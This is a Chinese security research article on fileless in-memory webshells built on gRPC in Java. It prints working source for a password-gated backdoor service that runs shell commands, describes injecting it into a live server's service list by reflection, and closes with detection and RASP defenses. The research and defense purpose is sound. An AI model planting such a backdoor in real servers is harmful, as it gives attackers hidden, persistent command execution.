内存马的攻防博弈之旅之gRPC内存马
一. 概述
在内存马的攻防博弈之旅中，我们对内存马做过了一定的介绍。做个简单的总结，内存马就是在系统动态创建对外提供服务的恶意后门接口，并且整个过程没有文件落地，全都在内存中执行，故称之为内存马。
目前已经有基于Filter，servlet，service，websocket等方式实现的内存马。本文将介绍利用gRPC协议的新型的内存马的实现与防御。
二. gRPC
gRPC[1]是由 google开发的一个高性能、通用的开源RPC框架，主要面向移动应用开发且基于HTTP/2协议标准而设计，同时支持大多数流行的编程语言。
官方对gRPC协议的介绍如下：
gRPC 是一种现代开源高性能远程过程调用 (RPC) 框架，可以在任何环境中运行。它可以通过对负载平衡、跟踪、健康检查和身份验证的可插拔支持，有效地连接数据中心内和数据中心之间的服务。它还适用于分布式计算的最后一英里，将设备、移动应用程序和浏览器连接到后端服务。
gRPC协议有着以下的特性：
1. 简单的服务定义
使用 Protocol Buffers 定义您的服务，这是一种强大的二进制序列化工具集和语言。
2. 快速启动并扩展
使用一行代码安装运行时和开发环境，并使用框架扩展到每秒数百万次 RPC。
3. 跨语言和平台工作
以各种语言和平台为您的服务自动生成惯用的客户端和服务器存根。
4. 双向流和集成身份验证
双向流和完全集成的可插拔身份验证与基于 HTTP/2 的传输。
gRPC以其高效的性能，在现在微服务架构中越来越流行。既然gRPC协议就是一种对外提供服务的接口，那是否也可以通过gRPC协议来实现一种新型的内存马呢？
三. gRPC环境搭建
3.1
环境搭建
首先，我们使用java maven环境搭建一个gRPC服务。完整代码在：
https://github.com/snailll/gRPCDemo
创建一个简单User服务，gRPC基于
ProtoBuf(Protocol Buffers) [2] 序列化协议开发，我们需要先定义user.proto
syntax = "proto3";package protocol;
option go_package = "protocol";option java_multiple_files = true;option java_package = "com.demo.shell.protocol";
message User { int32 userId = 1; string username = 2; sint32 age = 3; string name = 4;}
service UserService { rpc getUser (User) returns (User) {} rpc getUsers (User) returns (stream User) {} rpc saveUsers (stream User) returns (User) {}}
再实现对应UserService里的方法
public class UserServiceImpl extends UserServiceGrpc.UserServiceImplBase { @Override public void getUser(User request, StreamObserver responseObserver) { System.out.println(request); ... responseObserver.onNext(user); responseObserver.onCompleted(); }
@Override public void getUsers(User request, StreamObserver responseObserver) { ... responseObserver.onNext(user); responseObserver.onNext(user2);
responseObserver.onCompleted(); }
@Override public StreamObserver saveUsers(StreamObserver responseObserver) {
return new StreamObserver() { ... }; }}
启动服务
public class NsServer { public static void main(String[] args) throws Exception { int port = 8082; Server server = ServerBuilder .forPort(port) .addService(new UserServiceImpl()) .build() .start(); System.out.println("server started, port : " + port); server.awaitTermination(); }}
启动客户端
public class NsTest { public static void main(String[] args) {
User user = User.newBuilder() .setUserId(100) .build();
String host = "127.0.0.1"; int port = 8082; ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build(); UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = UserServiceGrpc.newBlockingStub(channel); User responseUser = userServiceBlockingStub.getUser(user); System.out.println(responseUser);
Iterator users = userServiceBlockingStub.getUsers(user); while (users.hasNext()) { System.out.println(users.next()); }
channel.shutdown(); }}
四. 内存马实现方式
4.1
实现原理
需要实现内存马，我们就需要能够动态创建对外提供服务的恶意后门接口，通过上面的环境搭建步骤我们可以看到，添加服务是Server的addService方法实现的，那我们就以此为入口，分析服务是如何添加以及运行的，来实现后续的动态添加service实现内存马的能力。
4.2
关键逻辑分析
图1 gRPC方法请求流程及动态注入
通过分析服务解析调用的流程，整个gRPC服务的注册及调用流程如图1所示：
1. 启动时创建services列表，添加所有的gRPC的接口的定义，并设置为unmodifiable；
2. 请求时判断调用的接口是否在接口列表中，在列表中就调用对应的实现类。
通过分析server创建以及请求调用的过程，可以得出，如果想要实现动态注入gRPC service，那我们需要满足以下条件：
1. 能获取到获取到services列表；
2. 能创建自定义的service接口；
3. 能够对unmodifiable的接口做修改，加入创建的service接口
通过分析，在gRPC调用链中，我们可以看到一个参数里面的services，methods也正是我们注册的User服务。通过java的反射机制，就可以获取到此属性。
图2 请求中的services对象
对于已经设置为unmodifiable的services对象，往里面直接put元素会抛出异常。因此我们采取一种讨巧的方式，创建一个新的可以修改的对象，将原始内容添加进去，并加入我们需要新加入的Service，最后反射set为新创建的值。
4.3
利用构造
通过java反序列化等漏洞我们可以利用java的反射机制实现动态注入接口，修改services对象注入内存马接口，因为PoC包含攻击性暂不提供。 内存马的简单内容实现如下：
webshell.proto定义：
syntax = "proto3";package protocol;
option go_package = "protocol";option java_multiple_files = true;option java_package = "com.demo.shell.protocol";
message Webshell {
string pwd = 1; string cmd = 2;}
service WebShellService { rpc exec (Webshell) returns (Webshell) {}}
webshell实现类：
public class WebshellServiceImpl extends WebShellServiceGrpc.WebShellServiceImplBase {
@Override public void exec(Webshell request, StreamObserver responseObserver) { super.exec(request, responseObserver); String pwd = request.getPwd(); String cmd = request.getCmd();
if ("x".equals(pwd)) { String[] cmdStrings = new String[]{"sh", "-c", cmd}; String retString = "";
Process p = null; try { p = Runtime.getRuntime().exec(cmdStrings); int status = p.waitFor(); List<String> processList = new ArrayList<String>();
BufferedReader input = new BufferedReader(new InputStreamReader(p.getInputStream())); String line = ""; while ((line = input.readLine()) != null) { processList.add(line); } input.close();
for (String l : processList) { line += l; } System.out.println(line);
// String result = p.getOutputStream().toString(); System.out.println("=======>" + line); if (status != 0) { System.err.println(String.format("runShellCommand: %s, status: %s", cmd, status)); }
Webshell webshell = Webshell .newBuilder().setCmd(line).build(); responseObserver.onNext(webshell); responseObserver.onCompleted(); } catch (Exception e) { e.printStackTrace(); } finally { if (p != null) { p.destroy(); } } } }}
4.4
利用效果
默认未执行payload前Service只有一个。
图3 未执行内存马前的service对象列表
执行payload添加 Service后，webshell Service 已经成功注册。
图4 执行内存马后的service对象列表
client连接webshell，执行命令
public class TestShell { public static void main(String[] args) {
Webshell webshell = Webshell.newBuilder() .setPwd("x") .setCmd("ls -al ") .build();
String host = "127.0.0.1"; int port = 8082; ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
WebShellServiceGrpc.WebShellServiceBlockingStub webShellServiceBlockingStub = WebShellServiceGrpc.newBlockingStub(channel); Webshell s = webShellServiceBlockingStub.exec(webshell); System.out.println(s.getCmd()); try { Thread.sleep(5000); } catch (InterruptedException e) { e.printStackTrace(); } channel.shutdown(); }}
可以看到server已经成功执行命令，输出结果。
图5 内存马执行命令成功结果
五. 防御手段
目前内存马的检测手段主要有两种方式，一种是利用基于Instrument的Agent的事后检测机制，一种是利用RASP的事中检测机制。
传统的利用Instrument的Agent检测机制是对已存在的Servlet，Filter，Listener，Interceptor，websocket对象的class文件反编译后再做恶意代码识别。但gRPC类型的内存马并不在这个列表中，因此是无法检测的。对gRPC类型的内存马，可以加入对实现了io.grpc.BindableService接口的类做检测。
利用RASP技术，可以对动态修改services列表的行为做检测阻断，以实现阻止gRPC内存马的创建。
六. 总结
本文介绍了在新的微服务的场景，随着gRPC协议的广泛应用，利用gRPC实现的新型的内存马技术也给企业的安全防护带来了新的挑战。同时随着技术的不断的迭代发展，也有可能会有其他新型的内存马的出现。可以看出内存马安全攻防的博弈一直都在持续进行中，这趟旅程还没有到终点。
